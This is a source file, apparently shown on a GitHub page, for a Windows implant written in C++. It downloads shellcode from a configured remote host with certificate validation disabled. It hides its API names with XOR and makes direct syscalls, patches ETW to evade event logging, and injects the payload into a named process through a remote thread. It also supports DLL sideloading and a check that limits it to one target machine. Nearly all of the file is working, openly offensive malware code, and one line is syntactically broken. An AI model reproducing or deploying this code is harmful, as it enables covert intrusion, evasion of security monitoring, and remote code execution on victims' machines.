-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathimplant.cpp
More file actions
654 lines (495 loc) · 19 KB
/
implant.cpp
File metadata and controls
654 lines (495 loc) · 19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
#include "implant.hpp"
#ifdef DEBUG
#include <iostream>
#endif
#include "cryptDef.h"
#include "helpers.h"
// #pragma comment(linker, "/entry:WinMain")
GetProcAddress_t pGetProcAddress;
GetModuleHandle_t pGetModuleHandle;
EXTERN_C DWORD getGlobalHash()
{
return GlobalHash;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
SyscallList* singleton = SyscallList::GetInstance();
return singleton->getSyscallNumber(FunctionHash);
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
SyscallList* singleton = SyscallList::GetInstance();
return singleton->getSyscallAddress(FunctionHash);
}
void XOR(char * data, size_t data_len, char * key, size_t key_len)
{
int j = 0;
for (int i = 0; i < data_len; i++)
{
if (j == key_len-1)
j = 0;
data[i] = data[i] ^ key[j];
j++;
}
data[data_len-1]='\0';
}
DWORD SW3_HashSyscall(const char *FunctionName)
{
DWORD Hash = 0x811C9DC5; // FNV offset basis
DWORD FNV_prime = 0x01000193; // FNV prime
int c;
while (c = *FunctionName++) {
Hash ^= c; // XOR the byte into the lowest byte of the hash
Hash *= FNV_prime; // Multiply by FNV prime
}
return Hash & 0xFFFFFFFF; // Ensure the result is a 32-bit hash
}
SyscallList* SyscallList::singleton_= nullptr;
SyscallList *SyscallList::GetInstance()
{
if(singleton_==nullptr){
singleton_ = new SyscallList();
}
return singleton_;
}
LPCWSTR charArrayToLPCWSTR(const char* charArray)
{
int len = MultiByteToWideChar(CP_ACP, 0, charArray, -1, NULL, 0);
wchar_t* wString = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, charArray, -1, wString, len);
return wString;
}
#include <fstream>
typedef struct _WINHTTP_PROXY_INFO {
DWORD dwAccessType;
LPWSTR lpszProxy;
LPWSTR lpszProxyBypass;
} WINHTTP_PROXY_INFO, *LPWINHTTP_PROXY_INFO, *PWINHTTP_PROXY_INFO;
typedef BOOL (WINAPI *WinHttpGetDefaultProxyConfiguration_t)(
WINHTTP_PROXY_INFO *pProxyInfo
);
int HttpGet(LPWSTR domain, LPWSTR uri, int port, LPSTR response, int& responseSize, bool isHttps)
{
#ifdef DEBUG
std::cout << "HttpGet" << std::endl;
#endif
DWORD dwSize = 0;
LPSTR pszOutBuffer;
BOOL bResults = FALSE;
BOOL bRes = FALSE;
HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
// LoadLibraryA "Winhttp.dll"
XOR((char *) sWinhttpDLL, sizeof(sWinhttpDLL), XorKey, sizeof(XorKey));
XOR((char *) sLoadLibraryA, sizeof(sLoadLibraryA), XorKey, sizeof(XorKey));
LoadLibraryA_t pLoadLibraryA = (LoadLibraryA_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sLoadLibraryA);
HMODULE winhttpModule = pLoadLibraryA(sWinhttpDLL);
// WinHttpOpen
XOR((char *) sWinHttpOpen, sizeof(sWinHttpOpen), XorKey, sizeof(XorKey));
WinHttpOpen_t pWinHttpOpen = (WinHttpOpen_t)pGetProcAddress(winhttpModule, sWinHttpOpen);
XOR((char *) sUserAgent, sizeof(sUserAgent), XorKey, sizeof(XorKey));
LPCWSTR wsUserAgent = charArrayToLPCWSTR(sUserAgent);
hSession = pWinHttpOpen(wsUserAgent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
#ifdef DEBUG
std::cout << "pWinHttpOpen " << hSession << std::endl;
#endif
#ifdef DEBUG
std::cout << "sUserAgent " << sUserAgent << std::endl;
#endif
if (hSession)
{
// WinHttpConnect
XOR((char *) sWinHttpConnect, sizeof(sWinHttpConnect), XorKey, sizeof(XorKey));
WinHttpConnect_t pWinHttpConnect = (WinHttpConnect_t)pGetProcAddress(winhttpModule, sWinHttpConnect);
hConnect = pWinHttpConnect(hSession, domain, port, 0);
}
#ifdef DEBUG
std::cout << "pWinHttpConnect " << hConnect << std::endl;
#endif
DWORD dwFlags = 0;
if(isHttps)
dwFlags = WINHTTP_FLAG_REFRESH | WINHTTP_FLAG_SECURE;
if (hConnect)
{
// WinHttpOpenRequest
XOR((char *) sWinHttpOpenRequest, sizeof(sWinHttpOpenRequest), XorKey, sizeof(XorKey));
WinHttpOpenRequest_t pWinHttpOpenRequest = (WinHttpOpenRequest_t)pGetProcAddress(winhttpModule, sWinHttpOpenRequest);
hRequest = pWinHttpOpenRequest(hConnect, L"GET", uri, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, dwFlags);
}
#ifdef DEBUG
std::cout << "pWinHttpOpenRequest " << hRequest << std::endl;
#endif
if(isHttps)
{
dwFlags =
SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
// WinHttpSetOptio
XOR((char *) sWinHttpSetOption, sizeof(sWinHttpSetOption), XorKey, sizeof(XorKey));
WinHttpSetOption_t pWinHttpSetOption = (WinHttpSetOption_t)pGetProcAddress(winhttpModule, sWinHttpSetOption);
bRes = pWinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
}
#ifdef DEBUG
std::cout << "pWinHttpSetOption " << hRequest << std::endl;
std::cout << "pWinHttpSetOption " << bRes << std::endl;
#endif
if (hRequest)
{
// WinHttpAddRequestHeaders
XOR((char *) sWinHttpAddRequestHeaders, sizeof(sWinHttpAddRequestHeaders), XorKey, sizeof(XorKey));
WinHttpAddRequestHeaders_t pWinHttpAddRequestHeaders = (WinHttpAddRequestHeaders_t)pGetProcAddress(winhttpModule, sWinHttpAddRequestHeaders);
XOR((char *) sAdditionalHeader, sizeof(sAdditionalHeader), XorKey, sizeof(XorKey));
LPCWSTR wsAdditionalHeader = charArrayToLPCWSTR(sAdditionalHeader);
bRes = pWinHttpAddRequestHeaders(hRequest, wsAdditionalHeader, -1L, WINHTTP_ADDREQ_FLAG_ADD);
#ifdef DEBUG
std::cout << "sWinHttpAddRequestHeaders " << sWinHttpAddRequestHeaders << std::endl;
std::cout << "sAdditionalHeader " << sAdditionalHeader << std::endl;
std::cout << "pWinHttpAddRequestHeaders " << bRes << std::endl;
#endif
// WinHttpSendRequest
XOR((char *) sWinHttpSendRequest, sizeof(sWinHttpSendRequest), XorKey, sizeof(XorKey));
WinHttpSendRequest_t pWinHttpSendRequest = (WinHttpSendRequest_t)pGetProcAddress(winhttpModule, sWinHttpSendRequest);
bResults = pWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
#ifdef DEBUG
std::cout << "pWinHttpSendRequest " << bResults << std::endl;
DWORD errorMessageID = ::GetLastError();
std::cout << "errorMessageID " << errorMessageID << std::endl;
LPSTR messageBuffer = nullptr;
size_t size = FormatMessageA(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL);
std::string message(messageBuffer, size);
std::cout << "error " << message << std::endl;
#endif
}
// WinHttpReceiveResponse
XOR((char *) sWinHttpReceiveResponse, sizeof(sWinHttpReceiveResponse), XorKey, sizeof(XorKey));
WinHttpReceiveResponse_t pWinHttpReceiveResponse = (WinHttpReceiveResponse_t)pGetProcAddress(winhttpModule, sWinHttpReceiveResponse);
bResults = pWinHttpReceiveResponse(hRequest, NULL);
#ifdef DEBUG
std::cout << "pWinHttpReceiveResponse " << bResults << std::endl;
#endif
// WinHttpQueryHeaders
DWORD dwStatusCode = 0;
dwSize = sizeof(dwStatusCode);
XOR((char *) sWinHttpQueryHeaders, sizeof(sWinHttpQueryHeaders), XorKey, sizeof(XorKey));
WinHttpQueryHeaders_t pWinHttpQueryHeaders = (WinHttpQueryHeaders_t)pGetProcAddress(winhttpModule, sWinHttpQueryHeaders);
pWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &dwStatusCode, &dwSize, WINHTTP_NO_HEADER_INDEX);
#ifdef DEBUG
std::cout << "pWinHttpQueryHeaders dwSize " << dwSize << std::endl;
#endif
// WinHttpReadData & WinHttpQueryDataAvailable
XOR((char *) sWinHttpQueryDataAvailable, sizeof(sWinHttpQueryDataAvailable), XorKey, sizeof(XorKey));
XOR((char *) sWinHttpReadData, sizeof(sWinHttpReadData), XorKey, sizeof(XorKey));
XOR((char *) sWinHttpCloseHandle, sizeof(sWinHttpCloseHandle), XorKey, sizeof(XorKey));
VirtualAlloc_t pVirtualAlloc = (VirtualAlloc_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sVirtualAlloc);
VirtualFree_t pVirtualFree = (VirtualFree_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sVirtualFree);
WinHttpQueryDataAvailable_t pWinHttpQueryDataAvailable = (WinHttpQueryDataAvailable_t)pGetProcAddress(winhttpModule, sWinHttpQueryDataAvailable);
WinHttpReadData_t pWinHttpReadData = (WinHttpReadData_t)pGetProcAddress(winhttpModule, sWinHttpReadData);
#ifdef DEBUG
std::cout << "bResults " << bResults << std::endl;
#endif
if (bResults)
{
do
{
dwSize = 0;
if (!pWinHttpQueryDataAvailable(hRequest, &dwSize))
{
}
pszOutBuffer = (char*)pVirtualAlloc(NULL, dwSize+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
if (!pszOutBuffer)
{
dwSize = 0;
}
else
{
ZeroMemory(pszOutBuffer, dwSize + 1);
DWORD dwDownloaded = 0;
if (!pWinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
}
else
{
memcpy(response+responseSize, pszOutBuffer, dwSize);
responseSize+=dwSize;
}
}
pVirtualFree(pszOutBuffer, dwSize+1, MEM_RELEASE);
} while (dwSize > 0);
}
// WinHttpCloseHandle
WinHttpCloseHandle_t pWinHttpCloseHandle = (WinHttpCloseHandle_t)pGetProcAddress(winhttpModule, sWinHttpCloseHandle);
if (hRequest)
pWinHttpCloseHandle(hRequest);
if (hConnect)
pWinHttpCloseHandle(hConnect);
if (hSession)
pWinHttpCloseHandle(hSession);
return dwStatusCode;
}
int FindTarget(const char *procname)
{
CreateToolhelp32Snapshot_t pCreateToolhelp32Snapshot = (CreateToolhelp32Snapshot_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sCreateToolhelp32Snapshot);
HANDLE hProcSnap = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap)
return 0;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
CloseHandle_t pCloseHandle = (CloseHandle_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sCloseHandle);
Process32First_t pProcess32First = (Process32First_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sProcess32First);
if (!pProcess32First(hProcSnap, &pe32))
{
pCloseHandle(hProcSnap);
return 0;
}
int pid = 0;
Process32Next_t pProcess32Next = (Process32Next_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sProcess32Next);
while (pProcess32Next(hProcSnap, &pe32))
{
if (strcmp(procname, pe32.szExeFile) == 0)
{
pid = pe32.th32ProcessID;
break;
}
}
pCloseHandle(hProcSnap);
return pid;
}
bool patchEtw(void *pEventWrite, HANDLE hProc)
{
SIZE_T sizeToAlloc=1024;
ULONG oldAccess;
NTSTATUS status = Sw3NtProtectVirtualMemory_(hProc, &pEventWrite, &sizeToAlloc, PAGE_READWRITE, &oldAccess);
if(status!=0)
return false;
#ifdef _WIN64
// memcpy(pEventWrite, "\x48\x33\xc0\xc3", 4); // xor rax, rax; ret
char patch[] = "\x48\x33\xc0\xc3"; // xor rax, rax; ret
int patchSize = 4;
#else
// memcpy(pEventWrite, "\x33\xc0\xc2\x14\x00", 5); // xor eax, eax; ret 14
char patch[] patch = "\x33\xc0\xc2\x14\x00"; // xor rax, rax; ret
int patchSize = 5;
#endif
status = Sw3NtWriteVirtualMemory_(hProc, pEventWrite, (PVOID)patch, patchSize, 0);
if(status!=0)
return false;
status = Sw3NtProtectVirtualMemory_(hProc, &pEventWrite, &sizeToAlloc, oldAccess, &oldAccess);
if(status!=0)
return false;
return true;
}
int Inject(HANDLE hProc, char * payload, int payload_len)
{
PVOID pRemoteCode=NULL;
SIZE_T sizeToAlloc = payload_len;
NTSTATUS result;
#ifdef DEBUG
std::cout << "hProc " << hProc << std::endl;
#endif
if(hProc!=INVALID_HANDLE_VALUE)
{
void * pEventWrite = (void*)pGetProcAddress(pGetModuleHandle(sNtdllDLL), sEtwEventWrite);
bool isPatchEtw = patchEtw(pEventWrite, hProc);
#ifdef DEBUG
std::cout << "isPatchEtw " << isPatchEtw << std::endl;
#endif
result = Sw3NtAllocateVirtualMemory_(hProc, &pRemoteCode, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
}
else
{
VirtualAlloc_t pVirtualAlloc = (VirtualAlloc_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sVirtualAlloc);
pRemoteCode= pVirtualAlloc(NULL, payload_len, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
}
#ifdef DEBUG
std::cout << "Sw3NtAllocateVirtualMemory_ result " << (long)(result) << std::endl;
#endif
result = Sw3NtWriteVirtualMemory_(hProc, pRemoteCode, (PVOID)payload, sizeToAlloc, 0);
#ifdef DEBUG
std::cout << "Sw3NtWriteVirtualMemory_ result " << (long)(result) << std::endl;
#endif
ULONG oldAccess;
result = Sw3NtProtectVirtualMemory_(hProc, &pRemoteCode, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
#ifdef DEBUG
std::cout << "Sw3NtProtectVirtualMemory_ result " << (long)(result) << std::endl;
#endif
HANDLE hThread;
// __debugbreak();
result = Sw3NtCreateThreadEx_(&hThread, 0x1FFFFF, NULL, hProc, (void*) pRemoteCode, NULL, FALSE, 0, 0, 0, NULL);
#ifdef DEBUG
std::cout << "hThread " << hThread << std::endl;
std::cout << "result " << (long)(result) << std::endl;
#endif
if (hThread != NULL)
{
if(hProc!=INVALID_HANDLE_VALUE)
{
LARGE_INTEGER timeOut;
timeOut.QuadPart = 500;
Sw3NtWaitForSingleObject_(hThread, false, &timeOut);
}
else
{
WaitForSingleObject_t pWaitForSingleObject = (WaitForSingleObject_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sWaitForSingleObject);
pWaitForSingleObject(hThread, 0xFFFFFFFF);
}
Sw3NtClose_(hThread);
return 0;
}
return -1;
}
#define INFO_BUFFER_SIZE 255
int process()
{
#ifdef DEBUG
std::cout << "process " << std::endl;
#endif
XOR((char *) sKernel32DLL, sizeof(sKernel32DLL), XorKey, sizeof(XorKey));
XOR((char *) sGetProcAddress, sizeof(sGetProcAddress), XorKey, sizeof(XorKey));
XOR((char *) sGetModuleHandleA, sizeof(sGetModuleHandleA), XorKey, sizeof(XorKey));
pGetProcAddress = (GetProcAddress_t) hlpGetProcAddress(hlpGetModuleHandle(wsKernel32DLL), sGetProcAddress);
pGetModuleHandle = (GetModuleHandle_t) pGetProcAddress(hlpGetModuleHandle(wsKernel32DLL), sGetModuleHandleA);
TCHAR infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
if(sizeof(sTarget) > 1)
{
XOR((char *) sGetComputerName, sizeof(sGetComputerName), XorKey, sizeof(XorKey));
XOR((char *) sTarget, sizeof(sTarget), XorKey, sizeof(XorKey));
#ifdef DEBUG
std::cout << "sGetComputerName " << sGetComputerName << std::endl;
#endif
GetComputerNameA_t pGetComputerNameA = (GetComputerNameA_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sGetComputerName);
pGetComputerNameA(infoBuf, &bufCharCount);
#ifdef DEBUG
std::cout << "infoBuf " << infoBuf << std::endl;
std::cout << "sTarget " << sTarget << std::endl;
#endif
int result = _stricmp(infoBuf, sTarget);
if (result != 0)
return 0;
}
XOR((char *) sVirtualAlloc, sizeof(sVirtualAlloc), XorKey, sizeof(XorKey));
XOR((char *) sVirtualFree, sizeof(sVirtualFree), XorKey, sizeof(XorKey));
XOR((char *) sCreateToolhelp32Snapshot, sizeof(sCreateToolhelp32Snapshot), XorKey, sizeof(XorKey));
XOR((char *) sProcess32First, sizeof(sProcess32First), XorKey, sizeof(XorKey));
XOR((char *) sProcess32Next, sizeof(sProcess32Next), XorKey, sizeof(XorKey));
XOR((char *) sInjectionProcess, sizeof(sInjectionProcess), XorKey, sizeof(XorKey));
XOR((char *) sCloseHandle, sizeof(sCloseHandle), XorKey, sizeof(XorKey));
XOR((char *) sWaitForSingleObject, sizeof(sWaitForSingleObject), XorKey, sizeof(XorKey));
XOR((char *) sDomain, sizeof(sDomain), XorKey, sizeof(XorKey));
XOR((char *) sUri, sizeof(sUri), XorKey, sizeof(XorKey));
XOR((char *) sNtdllDLL, sizeof(sNtdllDLL), XorKey, sizeof(XorKey));
XOR((char *) sEtwEventWrite, sizeof(sEtwEventWrite), XorKey, sizeof(XorKey));
//
// ETW patch
//
SyscallList* singleton = SyscallList::GetInstance();
void * pEventWrite = (void*)pGetProcAddress(pGetModuleHandle(sNtdllDLL), sEtwEventWrite);
bool isPatchEtw = patchEtw(pEventWrite, GetCurrentProcess());
#ifdef DEBUG
std::cout << "isPatchEtw " << isPatchEtw << std::endl;
#endif
int responseSize=0;
int maxSize = 1000000;
VirtualAlloc_t pVirtualAlloc = (VirtualAlloc_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sVirtualAlloc);
LPSTR response = (char*)pVirtualAlloc(NULL, maxSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
#ifdef DEBUG
std::cout << "sDomain " << sDomain << std::endl;
std::cout << "sUri " << sUri << std::endl;
#endif
wchar_t wDomain[256];
mbstowcs(wDomain, sDomain, sizeof(sDomain));
LPWSTR pwDomain = wDomain;
wchar_t wUri[256];
mbstowcs(wUri, sUri, sizeof(sUri));
LPWSTR pwUri = wUri;
HttpGet(pwDomain, pwUri, port, response, responseSize, isHttps);
#ifdef DEBUG
std::cout << "responseSize " << responseSize << std::endl;
#endif
if(responseSize==0)
return -1;
#ifdef DEBUG
std::cout << "sInjectionProcess " << sInjectionProcess << std::endl;
#endif
DWORD pid = -1;
if (strcmp(sInjectionProcess, "self") != 0)
{
pid = FindTarget(sInjectionProcess);
}
#ifdef DEBUG
std::cout << "pid " << pid << std::endl;
#endif
if (pid)
{
HANDLE hProc=(HANDLE)INVALID_HANDLE_VALUE;
if(pid!=-1)
{
static OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
static CLIENT_ID cID;
cID.UniqueProcess = (HANDLE)(uintptr_t)pid;
cID.UniqueThread = 0;
// // __debugbreak();
NTSTATUS result = Sw3NtOpenProcess_(&hProc,
PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
&objAttr,
&cID);
}
#ifdef DEBUG
std::cout << "hProc " << hProc << std::endl;
#endif
if (hProc != NULL)
{
Inject(hProc, response, responseSize);
Sw3NtClose_(hProc);
}
}
// VirtualFree_t pVirtualFree = (VirtualFree_t)pGetProcAddress(pGetModuleHandle(sKernel32DLL), sVirtualFree);
// pVirtualFree(response, maxSize, MEM_RELEASE);
return 0;
}
#ifdef EXE
#ifdef DEBUG
int main()
#else
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
#endif
{
process();
return 0;
}
#elif DLL
#include <thread>
#include <chrono>
void DelayedInitialization()
{
std::this_thread::sleep_for(std::chrono::milliseconds(100));
process();
}
extern "C" __declspec(dllexport) int Go(void);
int Go(void)
{
process();
return 0;
}
// for sideloading
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved )
{
switch ( fdwReason ) {
case DLL_PROCESS_ATTACH:
// need to delay the execution to let the time win api to initialize
std::thread(DelayedInitialization).detach();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
#endif